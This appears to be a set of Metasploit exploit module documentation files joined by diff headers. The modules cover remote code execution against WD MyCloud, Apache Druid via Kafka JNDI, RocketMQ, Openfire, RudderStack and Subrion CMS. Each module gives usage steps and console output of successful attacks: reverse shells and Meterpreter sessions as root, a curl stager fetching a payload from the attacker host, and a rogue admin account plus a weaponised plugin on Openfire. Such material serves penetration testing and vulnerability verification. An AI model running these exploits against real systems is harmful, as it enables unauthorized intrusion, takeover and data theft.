https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/
- CVE-2018-17153 disclosure and Poc:
https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/
## Installation Information
Western Digital no longer seems to offer older firmware versions for download to non-customers.
[This commnity post](https://community.wd.com/t/wd-my-cloud-v3-x-v4-x-and-v2-x-firmware-versions-download-links/148533)
contains download links to older firmware versions as well as to the source code, but only the links to the source code still work.
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection`
3. Do: `set RHOSTS [IP]`
4. Do: `set LHOST [IP]`
5. Do: `exploit`
## Options
### TARGETURI
The base path to WD MyCloud. The default value is `/`.
## Targets
```
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper
```
## Scenarios
### Western Digital MyCloud 2.30.183 - Unix In-Memory
```
msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > options
Module options (exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.45 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to WD MyCloud
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.10.10.18 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.10.18 yes The listen address (an interface may be specified)
LPORT 6000 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix In-Memory
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > run
[*] Started reverse TCP handler on 10.10.10.18:6000
[*] Running automatic check ("set AutoCheck false" to disable)
[*] 10.10.10.45:443 - The target is WD MyCloud. Checking vulnerability status...
[*] 10.10.10.45:443 - Attempting to execute echo tLD1sR3mLQXV1AYFuHV46x5...
[+] The target is vulnerable. The target executed the echo command.
[*] 10.10.10.45:443 - Executing the payload. This may take a few seconds...
[*] Command shell session 1 opened (10.10.10.18:6000 -> 10.10.10.45:45402) at 2023-07-26 13:51:06 +0000
id
uid=0(root) gid=0(root) groups=0(root)
head /usr/local/config/config.xml
<config>
<sw_ver_1>2.30.183</sw_ver_1>
<sw_ver_2>2.30.183.0116.2018</sw_ver_2>
<hw_ver>WDMyCloudEX4100</hw_ver>
<eula>1</eula>
<language>0</language>
<registered>0</registered>
<eula_fw>0</eula_fw>
<eula_apps>0</eula_apps>
<analytics>0</analytics>
```
### Western Digital MyCloud 2.30.183 - Linux Dropper
```
msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > options
Module options (exploit/linux/http/wd_mycloud_unauthenticated_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.45 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to WD MyCloud
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.10.10.18 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (linux/armle/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.10.18 yes The listen address (an interface may be specified)
LPORT 6001 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/wd_mycloud_unauthenticated_cmd_injection) > run
[*] Started reverse TCP handler on 10.10.10.18:6001
[*] Running automatic check ("set AutoCheck false" to disable)
[*] 10.10.10.45:443 - The target is WD MyCloud. Checking vulnerability status...
[*] 10.10.10.45:443 - Attempting to execute echo gkmp1ak8jprpqinbvmN84QXaWfgirEt...
[+] The target is vulnerable. The target executed the echo command.
[*] Using URL: http://10.10.10.18:8080/xFQRlaZ5ODY9ZQa
[*] Client 10.10.10.45 (curl/7.42.1) requested /xFQRlaZ5ODY9ZQa
[*] Sending payload to 10.10.10.45 (curl/7.42.1)
[*] Sending stage (934728 bytes) to 10.10.10.45
[*] Command Stager progress - 100.00% done (119/119 bytes)
[*] Meterpreter session 2 opened (10.10.10.18:6001 -> 10.10.10.45:43738) at 2023-07-26 13:51:59 +0000
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 10.10.10.45
OS : (Linux 3.10.39)
Architecture : armv7l
BuildTuple : armv5l-linux-musleabi
Meterpreter : armle/linux
```
@@ -0,0 +1,79 @@
## Vulnerable Application
Apache Kafka is an open-source distributed event streaming platform that is used for real-time data streaming and processing.
Kafka clients are a set of Java libraries that allow you to produce and consume messages from Apache Kafka.
In the version prior to 3.3.2, there is a JNDI injection issue in the Apache Kafka clients if an attacker is able to set the
`sasl.jaas.config` property for any of the connector's Kafka clients to `com.sun.security.auth.module.JndiLoginModule`.
It will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response, which the attacker can
use to execute java deserialization gadget chains on the Kafka connect server. Attacker can cause unrestricted deserialization
of untrusted data (or) RCE vulnerability when there are gadgets in the classpath.
As Apache Druid depends on kafka-clients to connect to one of its data sources, making it out of the box vulnerable if using any
affected version.
The below docker compose file can be used to build a vulnerable container.
```yaml
version: '2'
services:
web:
image: vulhub/apache-druid:25.0.0
ports:
- "8888:8888"
```
## Verification Steps
Metasploit:
1. `./msfconsole`
1. `use exploit/multi/http/apache_druid_cve_2023_25194`
1. `set rhosts <rhost>`
1. `set target <target>`
1. `set srvhost <srvhost>`
1. `set SSL <true or false>`
1. `run`
## Scenarios
### Apache Kafka-clients 3.3.1 on Druid version 25.0.0
```
msf6 exploit(multi/http/apache_druid_cve_2023_25194) > exploit
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to trigger the jndi callback...
[+] The target is vulnerable.
[+] Delivering the serialized Java object to execute the payload...
[*] Client sent unbind request
[*] Server stopped.
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:42908) at 2023-06-22 13:33:01 +0200
meterpreter > sysinfo
Computer : 72fc9c4031a6
OS : Linux 6.1.11-1-MANJARO #1 SMP PREEMPT_DYNAMIC Thu Feb 9 14:03:23 UTC 2023
Architecture : x64
Meterpreter : python/linux
meterpreter > shell
Process 1112 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
find /opt/druid/extensions/druid-kafka-indexing-service/ -iname "kafka-clients*"
/opt/druid/extensions/druid-kafka-indexing-service/kafka-clients-3.3.1.jar
^C
Terminate channel 1? [y/N] y
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
```
## Options
### TARGETURI (required)
The path to the APISIX routes controller (Default: `/`).
@@ -32,6 +32,8 @@ If authentication is required, then the `USERNAME` and `PASSWORD` options can be
complex authentication flow is required (such as OpenId Connect), or a session token has already been obtained, a session token in the form
of a JWT can be set using the `TOKEN` option. This module does not support authentication using a client certificate.
Verified against 1.12.1, 1.12.1-RC2, and 1.20.0
### Configuring a Vulnerable Environment
#### Windows
@@ -0,0 +1,121 @@
## Vulnerable Application
RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is
leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using
the update configuration function to execute commands as the system users that RocketMQ is running as.
Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.
### Setup
#### Docker setup
Instructions taken from https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT
```
docker pull apache/rocketmq:4.9.4
# Start nameserver
docker run --rm --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
# Start Broker
docker run --rm --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
```
## Verification Steps
1. Start msfconsole.
1. Do: ` use exploit/multi/http/apache_rocketmq_update_config`.
1. Set the `RHOST` and `LHOST` options.
1. Run the module.
1. Receive a session in the context of the user running the RocketMQ application.
## Options
### BROKER_PORT
The port the target RocketMQ Broker component is running on. If left unset the default port will be used if a Broker
port associated with the RHOST cannot be determined from querying the RocketMQ NameServer.
## Scenarios
### Docker container running RocketMQ 4.9.4, Target: Automatic (Unix In-Memory)
```
msf6 > use multi/http/apache_rocketmq_update_config
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_rocketmq_update_config) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/apache_rocketmq_update_config) > set FETCH_SRVHOST 172.16.199.158
FETCH_SRVHOST => 172.16.199.158
msf6 exploit(multi/http/apache_rocketmq_update_config) > set lhost 172.16.199.158
lhost => 172.16.199.158
msf6 exploit(multi/http/apache_rocketmq_update_config) > options
Module options (exploit/multi/http/apache_rocketmq_update_config):
Name Current Setting Required Description
---- --------------- -------- -----------
BROKER_PORT 10911 no The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the
NameServer response (recommended)
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
l
RPORT 9876 yes The RocketMQ NameServer port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0
to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME OAvAHUouS no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST 172.16.199.158 yes Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
LHOST 172.16.199.158 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (Unix In-Memory)
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/apache_rocketmq_update_config) > run
[*] Started reverse TCP handler on 172.16.199.158:4444
[*] 127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:9876 - The target appears to be vulnerable. RocketMQ version: 4.9.4
[*] 127.0.0.1:9876 - autodetection failed, assuming default port of 10911
[*] 127.0.0.1:9876 - Executing target: Automatic (Unix In-Memory) with payload cmd/linux/http/x64/meterpreter/reverse_tcp on Broker port: 10911
[*] Sending stage (3045348 bytes) to 172.17.0.3
[*] 127.0.0.1:9876 - Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted
[+] 127.0.0.1:9876 - Determined the original $ROCKETMQ_HOME: /home/rocketmq/rocketmq-4.9.4
[*] 127.0.0.1:9876 - Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value
[*] Meterpreter session 5 opened (172.16.199.158:4444 -> 172.17.0.3:35532) at 2023-07-04 11:26:58 -0700
meterpreter > getuid
Server username: rocketmq
meterpreter > sysinfo
Computer : 172.17.0.3
OS : CentOS 7.9.2009 (Linux 5.15.0-76-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,190 @@
## Vulnerable Application
`Openfire's` administrative console, a web-based application, was found to be vulnerable to a path traversal attack
via the setup environment using the path `http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/`.
Endpoints such as `log.jsp`, `user-groups.jsp` and `user-create.jsp` can be used to gain unauthorized admin access.
It allows an unauthenticated user to use the unauthenticated `Openfire` Setup Environment in an already configured
`Openfire` environment to access restricted pages in the `Openfire Admin Console` reserved for administrative users.
This module will use the vulnerability to create a new admin user that will be used to upload a `Openfire` management plugin
weaponized with a `Java` native payload that triggers an RCE.
The vulnerability affects all versions of `Openfire` that have been released since April 2015, starting with version `3.10.0`.
The problem has been patched in `Openfire` release `4.7.5` and `4.6.8`, and further improvements will be included
in the first version on the `4.8` branch, which is version `4.8.0`.
This module has been tested on:
- [ ] Ubuntu Linux 22.04.
* Openfire 3.10.1, 4.0.4, 4.1.0, 4.2.0, 4.3.0, 4.4.0, 4.5.0, 4.6.0. 4.7.0, 4.7.1, 4.7.3
* Java 7, 8, 17
- [ ] Windows Server 2019 Datacenter
* Openfire 4.7.3
* Java 20
**Instructions for an Openfire installation:**
Download Openfire releases [here](https://github.com/igniterealtime/Openfire/releases?page=1)
Follow installation instructions [here](https://download.igniterealtime.org/openfire/docs/latest/documentation/install-guide.html)
## Verification Steps
- [ ] Start `msfconsole`
- [ ] `exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set target <0=Java Universal>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
```
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > options
Module options (exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315):
Name Current Setting Required Description
---- --------------- -------- -----------
ADMINNAME no Openfire admin user name, (default: random)
PLUGINAUTHOR no Openfire plugin author, (default: random)
PLUGINDESC no Openfire plugin description, (default: random)
PLUGINNAME no Openfire plugin base name, (default: random)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9090 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
VHOST no HTTP server virtual host
Payload options (java/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
```
## Options
### TARGETURI
The uripath to the `Openfire Admin Console`. Default set to `/` which is the standard for `Openfire`.
### ADMINNAME
`Openfire` admin user name option to create a new admin user. User name will be randomized if not set.
### PLUGINAUTHOR
`Openfire` plugin author to set the name of the plugin author. Author name will be randomized if not set.
### PLUGINDESC
`Openfire` plugin description to update the description of the plugin. Description will be randomized if not set.
### PLUGINNAME
`Openfire` plugin name to set the plugin name. Plugin name will be randomized if not set.
## Scenarios
### Ubuntu 22.04 - Openfire 4.7.0 - java/meterpreter/reverse_tcp
```
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Openfire version is 4.7.0
[*] Grabbing the cookies.
[*] JSESSIONID=node010hllcuuhb19x13etracg8jjxk24.node0
[*] csrf=Lc9ZXFTo6H3bnC1
[*] Adding a new admin user.
[*] Logging in with admin user "jdajefap" and password "W3EozCK8Nx".
[*] Upload and execute plugin "U6zVD3dY" with payload "java/meterpreter/reverse_tcp".
[*] Sending stage (58851 bytes) to 192.168.201.59
[*] Meterpreter session 33 opened (192.168.201.10:4444 -> 192.168.201.59:60420) at 2023-07-08 10:33:16 +0000
[!] Plugin "U6zVD3dY" need manually clean-up via Openfire Admin console.
[!] Admin user "jdajefap" need manually clean-up via Openfire Admin console.
meterpreter > getuid
Server username: openfire
meterpreter > sysinfo
Computer : cuckoo
OS : Linux 5.15.0-76-generic (amd64)
Architecture : x64
System Language : en_US
Meterpreter : java/linux
meterpreter >
```
### Windows Server 2019 Datacenter - Openfire 4.7.3 - java/shell/reverse_tcp
```
msf6 exploit(multi/http/openfire_auth_bypass_rce_cve_2023_32315) > exploit
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Openfire version is 4.7.4
[*] Grabbing the cookies.
[*] JSESSIONID=node01dr68xhv8giop14zogvh0ycnt13.node0
[*] csrf=mRz62R9hab6YAgt
[*] Adding a new admin user.
[*] Logging in with admin user "qkcvdmmevuvw" and password "tO0gWgDrM4".
[*] Upload and execute plugin "XZl3TKb1ayogynR" with payload "java/shell/reverse_tcp".
[*] Sending stage (2952 bytes) to 192.168.201.57
[!] Plugin "XZl3TKb1ayogynR" need manually clean-up via Openfire Admin console.
[!] Admin user "qkcvdmmevuvw" need manually clean-up via Openfire Admin console.
[*] Command shell session 32 opened (192.168.201.10:4444 -> 192.168.201.57:50171) at 2023-07-08 10:31:01 +0000
Shell Banner:
Microsoft Windows [Version 10.0.17763.107]
-----
C:\Program Files\Openfire\bin>systeminfo
systeminfo
Host Name: WIN-HHRQENPDSRS
OS Name: Microsoft Windows Server 2019 Datacenter
OS Version: 10.0.17763 N/A Build 17763
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00430-00000-00000-AA500
Original Install Date: 1/23/2023, 4:51:06 AM
System Boot Time: 7/8/2023, 2:16:23 AM
System Manufacturer: innotek GmbH
System Model: VirtualBox
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2306 Mhz
BIOS Version: innotek GmbH VirtualBox, 12/1/2006
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory: 2,048 MB
Available Physical Memory: 728 MB
Virtual Memory: Max Size: 3,469 MB
Virtual Memory: Available: 1,523 MB
Virtual Memory: In Use: 1,946 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): 1 Hotfix(s) Installed.
[01]: KB4464455
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Desktop Adapter
Connection Name: Ethernet
DHCP Enabled: Yes
DHCP Server: 192.168.201.1
IP address(es)
[01]: 192.168.201.57
[02]: fe80::b089:6587:7273:231e
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
C:\Program Files\Openfire\bin>
```
## Limitations
No limitations.
@@ -0,0 +1,63 @@
## Vulnerable Application
RudderStack is an open-source Customer Data Platform (CDP) that helps organizations collect,
unify, and route customer data to various destinations.
A Customer Data Platform is a software system that centralizes and manages customer data from multiple sources,
providing a unified view of customer interactions and behaviors.
RudderStack is an independent, stand-alone system with a dependency only on the database (PostgreSQL).
Its backend is written in Go with a rich UI written in React.js.
This Metasploit exploit module targets a SQL injection vulnerability (CVE-2023-30625) in RudderStack's `rudder-server`,
an open-source Customer Data Platform (CDP). The vulnerability affects versions of `rudder-server` before 1.3.0-rc.1.
By exploiting this flaw, an attacker can execute arbitrary SQL commands,
potentially leading to Remote Code Execution (RCE) since the `rudder` role in PostgreSQL has superuser permissions by default.
This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Check [here](https://securitylab.github.com/advisories/GHSL-2022-097_rudder-server/) for full disclosure writeup.
**Note: The backend code of rudder-server is written with Golang and can also be compiled for Windows.
Due to the insufficient build instructions for Windows platforms, the Windows target is disabled in this exploit module.**
## Testing
For installing the vulnerable version follow the steps below,
1. Download [docker-compose.yml](https://raw.githubusercontent.com/rudderlabs/rudder-server/master/rudder-docker.yml) file.
2. Replace `<your_workspace_token>` in this file with your workspace workspace-token
Check [here](https://www.rudderstack.com/docs/get-started/rudderstack-open-source/data-plane-setup/docker/#workspace-token)
for obtaining workspace-token.
3. Edit `rudder-server:latest` version as `rudder-server:1.2.5` inside the docker-compose.yml file.
4. Run `docker compose -f rudder-docker.yml up -d`
After these steps the rudder-server API will be exposed on the `http://localhost:8080/` address.
## Verification Steps
1. msfconsole
2. Do: `use exploit/multi/http/rudder_server_sqli_rce`
3. Do: `set RHOST [IP]`
4. Do: `set RPORT [PORT]`
5. Do: `check`
6. You should get a shell.
## Options
## Scenarios
```
msf6 > use exploit/multi/http/rudder_server_sqli_rce
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(multi/http/rudder_server_sqli_rce) > set rhosts 192.168.1.20
rhosts => 192.168.1.20
msf6 exploit(multi/http/rudder_server_sqli_rce) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf6 exploit(multi/http/rudder_server_sqli_rce) > set lport 4444
lport => 4444
msf6 exploit(multi/http/rudder_server_sqli_rce) > run
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Cannot reliably check exploitability. ForceExploit is enabled, proceeding with exploitation.
[*] Detected rudder version: Unknown
[*] Triggering RCE via crafted SQL query...
id
uid=70(postgres) gid=70(postgres) groups=70(postgres),70(postgres)
```
@@ -0,0 +1,632 @@
## Vulnerable Application
The vulnerability affects:
* Intelliants Subrion CMS Version less than or equal to 4.2.1 (latest unpatched version as of June 14, 2018)
This module was successfully tested on:
* Subrion CMS v4.1.0 with Docker on Debian 10
* Subrion CMS v4.1.0 with Docker on Windows 10
* Subrion CMS v4.2.1 with XAMPP on Windows Server 2016
* Subrion CMS v4.2.1 with XAMPP on Windows 10
* Subrion CMS v4.2.1 with LAMP on Debian 10
* Subrion CMS v4.2.1 with LAMP on Ubuntu 20.04
### Description
This module exploits an authenticated file upload vulnerability in Subrion CMS versions 4.2.1 and lower.
The vulnerability is caused by the `.htaccess` file not preventing the execution of `.pht`, `.phar`, and `.xhtml` files.
Files with these extensions are not included in the `.htaccess` blacklist, hence these files can be uploaded and executed to
achieve remote code execution. In this module, a `.phar` file with a randomized name is uploaded and executed to receive a
Meterpreter session on the target. Afterwards, the file deletes itself, except on Windows OSes.
## Setup
### Subrion CMS v4.1.0 Installation with Docker on any OS
The easiest way to install Subrion CMS v4.1.0 on any operating system would be to use the `docker-compose.yml` script below,
which is a slightly modified version provided in the [official repo](https://github.com/intelliants/docker-subrion#-via-docker-compose),
which is also on [DockerHub](https://hub.docker.com/r/intelliants/subrion). The difference is that when container names are specified,
there is no need to use the MySQL container's IP address when setting up the final stage of the installation.
```yml
version: '3'
services:
subrion:
image: intelliants/subrion
container_name: subrion
links:
- subriondb:mysql
ports:
- 8080:80
environment:
SUBRION_DB_PASSWORD: secretpass
subriondb:
image: mysql:5.6
container_name: subriondb
environment:
MYSQL_ROOT_PASSWORD: secretpass
```
Run:
```sh
docker-compose up
```
and wait for the containers to complete initialization. Once the containers are up and running, modify
the `/etc/apache2/conf-enabled/docker-php.conf` file and restart the Apache server by executing the following commands:
```sh
docker exec subrion bash -c "sed -i'' 's/<FilesMatch .*/<FilesMatch \\.(php|phar)$>/' /etc/apache2/conf-enabled/docker-php.conf"
docker exec subrion bash -c '/etc/init.d/apache2 reload'
```
The reason for modifying this file is because the default Apache container configuration only allows parsing and execution
of `.php` files, not `.phar` files. The replacement is as follows:
**From matching only `.php` file extensions**
```html
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
```
**to matching both `.php` and `.phar` file extensions:**
```html
<FilesMatch "\.(php|phar)$">
SetHandler application/x-httpd-php
</FilesMatch>
```
After this, navigate to `localhost:8080/install` to set up the final installation process.
Verify that the `Pre-Installation Check` passes, accept the `Subrion License`,
and then fill in the following fields in the `Configuration` page:
```
MySQL Configuration:
DB Hostname: subriondb (the MySQL container name)
DB Username: root
DB Password: secretpass
DB Name: subrion
DB Port: 3306 (default)
Table Prefix: sbr410_ (default)
Administrator Configuration:
Username: admin
Password: 123456
Confirm: 123456
Email: anyemail@mail.com
```
Finally, navigate to `http://localhost:8080/panel/` and login as an Administrator to confirm successful setup.
### Subrion CMS v4.2.1 Installation with XAMPP on Windows 10
Install Subrion CMS v4.2.1 with XAMPP by following the steps below:
1. Download and install [XAMPP 7.4.3](https://xampp.en.uptodown.com/windows/download/2196816) or below.
2. Download and expand the [Subrion CMS v4.2.1](https://subrion.org/download/) (or v4.1.5) zip file into the `C:\xampp\htdocs\` folder,
after deleting the default files within.
3. Modify the `C:\xampp\apache\conf\extra\httpd-xampp.conf` file by changing the lines:
```html
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
```
into
```html
<FilesMatch "\.(php|phar)$">
SetHandler application/x-httpd-php
</FilesMatch>
```
4. Restart Apache from the XAMPP Control Panel.
5. Now, add a new database with name `subrion` from the PHPMyAdmin page at `http://localhost/phpmyadmin`
and execute the following SQL code:
```sql
CREATE DATABASE subrion;
/* select the 'subrion' database and run the following: */
GRANT ALL PRIVILEGES ON subrion.* TO root@localhost IDENTIFIED BY "" WITH GRANT OPTION; FLUSH PRIVILEGES;
```
6. After this, navigate to `http://localhost/install` to set up the final installation process.
Verify that the `Pre-Installation Check` passes, accept the `Subrion License`,
and then fill in the following fields in the `Configuration` page:
```
MySQL Configuration:
DB Hostname: localhost (default)
DB Username: root
DB Password: (blank password)
DB Name: subrion
DB Port: 3306 (default)
Table Prefix: sbr421_ (default)
Administrator Configuration:
Username: admin
Password: 123456
Confirm: 123456
Email: anyemail@mail.com
```
7. Finally, navigate to `http://localhost:8080/panel/` and login as an Administrator to confirm successful setup.
### Subrion CMS v4.2.1 Installation with LAMP Stack on Debian 10
According to the [official installation page](https://github.com/intelliants/subrion/wiki/Installation),
the setup for [Subrion CMS v4.2.1](http://tools.subrion.org/get/latest.zip) requires at least:
- Apache Server 1.3 or above (with `mod_rewrite`) installed
- PHP version 5 or above (with extensions GD lib, XML lib, FreeType installed)
- MySQL version 4.1 or above
LAMP is a recommended stack, so this module was tested on a Debian 10 VM along with the applications listed above.
Installing Subrion can be somewhat tedious, and quite a few things can go wrong, so a quick and easy way would be
to run the following script on a fresh image of Debian 10 with `sudo` user permissions. To be able to actually
copy and paste the script, `open-vm-tools` and `open-vm-tools-desktop` need to be installed via `apt` if using
VMware Workstation Player. Website links are also provided as reference to see what the commands are doing.
```sh
#!/bin/bash
# to be able to copy and paste, and add firewall tool
sudo apt update -y && sudo apt upgrade -y
sudo apt install -y vim ufw curl unzip open-vm-tools open-vm-tools-desktop
sudo systemctl restart ufw
sudo systemctl enable ufw
# install mysql v5.7
# https://computingforgeeks.com/how-to-install-mysql-on-debian-linux-system/?expand_article=1
wget -P ~/Downloads/ https://dev.mysql.com/get/mysql-apt-config_0.8.18-1_all.deb
sudo dpkg -i ~/Downloads/mysql-apt-config_0.8.18-1_all.deb
sudo apt update -y && sudo apt upgrade -y
# if the above gives an error, run:
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 467B942D3A79BD29
sudo apt update -y && sudo apt upgrade -y
# NOTE: I installed MySQL 5.7 in my first two attempts on a fresh Debian 10, but can't install it again afterwards because of error:
# E: Unable to locate package mysql-community-server
# If this happens, use Docker to serve a MySQL container:
# sudo apt install -y default-mysql-server docker.io
# sudo docker run --name subriondb -e MYSQL_ROOT_PASSWORD=root -d mysql:5.7.42-debian
# sudo docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' subriondb
# mysql -h [SUBRIONDB_IP] -u root -proot
# mysql -h [SUBRIONDB_IP] -u root -proot -e 'CREATE DATABASE subrion; GRANT ALL PRIVILEGES ON subrion.* TO root@[SUBRIONDB_IP] IDENTIFIED BY "root" WITH GRANT OPTION; FLUSH PRIVILEGES;'
# choose mysql-5.7, set root password "root", and allow MySQL remote connections
sudo apt install -y mysql-community-server
sudo ufw allow mysql
sudo systemctl restart mysql
sudo systemctl enable mysql
# install php v7.3 and php extensions, and enable apache module
# https://computingforgeeks.com/install-php-on-debian-linux-systen/?expand_article=1
sudo apt update -y && sudo apt upgrade -y
sudo apt install -y php php-common
sudo apt install -y php-cli php-fpm php-json php-pdo php-mysql php-zip php-gd php-mbstring php-curl php-xml php-pear php-bcmath
sudo apt install -y libapache2-mod-php
sudo a2enmod php7.*
# install apache2 v2.4.38
sudo apt update -y && sudo apt upgrade -y
sudo apt install -y apache2
sudo apt install -y libapache2-mod-php
sudo a2enmod rewrite
sudo systemctl restart apache2
sudo systemctl enable apache2
# create MySQL database for Subrion (with password "root")
